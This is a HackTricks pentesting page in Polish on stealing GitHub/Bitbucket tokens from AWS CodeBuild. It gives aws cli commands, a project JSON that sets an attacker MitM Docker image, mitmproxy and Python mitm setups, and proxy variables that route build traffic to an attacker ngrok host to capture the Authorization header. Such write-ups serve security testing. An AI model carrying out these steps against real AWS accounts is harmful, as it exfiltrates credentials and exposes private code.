AWS Codebuild - Token Leakage

Support HackTricks

Recover Github/Bitbucket Configured Tokens

Najpierw sprawdź, czy są skonfigurowane jakiekolwiek poświadczenia źródłowe, które możesz wyciekować:

aws codebuild list-source-credentials

Via Docker Image

Jeśli stwierdzisz, że uwierzytelnienie do na przykład Github jest ustawione w koncie, możesz wyekstrahować ten dostęp (token GH lub token OAuth) poprzez sprawienie, że Codebuild użyje konkretnego obrazu docker do uruchomienia budowy projektu.

W tym celu możesz utworzyć nowy projekt Codebuild lub zmienić środowisko istniejącego, aby ustawić obraz Docker.

Obraz Docker, którego możesz użyć, to https://github.com/carlospolop/docker-mitm. To bardzo podstawowy obraz Docker, który ustawi zmienne środowiskowe https_proxy, http_proxy i SSL_CERT_FILE. To pozwoli ci przechwycić większość ruchu hosta wskazanego w https_proxy i http_proxy oraz zaufać certyfikatowi SSL wskazanemu w SSL_CERT_FILE.

  1. Utwórz i prześlij swój własny obraz Docker MitM

  • Postępuj zgodnie z instrukcjami repozytorium, aby ustawić adres IP swojego proxy i ustawić swój certyfikat SSL oraz zbudować obraz docker.

  • NIE USTAWIAJ http_proxy, aby nie przechwytywać żądań do punktu końcowego metadanych.

  • Możesz użyć ngrok jak ngrok tcp 4444, aby ustawić proxy do swojego hosta.

  • Gdy masz zbudowany obraz Docker, prześlij go do publicznego repozytorium (Dockerhub, ECR...).

  1. Ustaw środowisko

  • Utwórz nowy projekt Codebuild lub zmodyfikuj środowisko istniejącego.

  • Ustaw projekt, aby używał wcześniej wygenerowanego obrazu Docker.

  1. Ustaw proxy MitM w swoim hoście

  • Jak wskazano w repozytorium Github, możesz użyć czegoś takiego:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

Wersja mitmproxy używana to 9.0.1, zgłoszono, że w wersji 10 może to nie działać.

  1. Uruchom budowę i przechwyć dane uwierzytelniające

  • Możesz zobaczyć token w nagłówku Authorization:

Można to również zrobić z aws cli za pomocą czegoś takiego

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Via HTTP protocol

Ta luka została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 roku (myślę, że w piątek). Więc atakujący nie może już tego nadużywać :)

Atakujący z podwyższonymi uprawnieniami w CodeBuild mógłby ujawnić token Github/Bitbucket skonfigurowany lub jeśli uprawnienia były skonfigurowane za pomocą OAuth, tymczasowy token OAuth używany do uzyskania dostępu do kodu.

  • Atakujący mógłby dodać zmienne środowiskowe http_proxy i https_proxy do projektu CodeBuild wskazujące na jego maszynę (na przykład http://5.tcp.eu.ngrok.io:14972).

  • Następnie zmienić URL repozytorium github na używający HTTP zamiast HTTPS, na przykład: **http://**github.com/carlospolop-forks/TestActions

  • Następnie uruchomić podstawowy przykład z https://github.com/synchronizing/mitm na porcie wskazanym przez zmienne proxy (http_proxy i https_proxy)

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Na koniec kliknij na Zbuduj projekt, poświadczenia będą wysyłane w czystym tekście (base64) do portu mitm:

Teraz atakujący będzie mógł użyć tokena ze swojej maszyny, wylistować wszystkie posiadane uprawnienia i (nadużywać) łatwiej niż korzystając bezpośrednio z usługi CodeBuild.

Wsparcie HackTricks

Last updated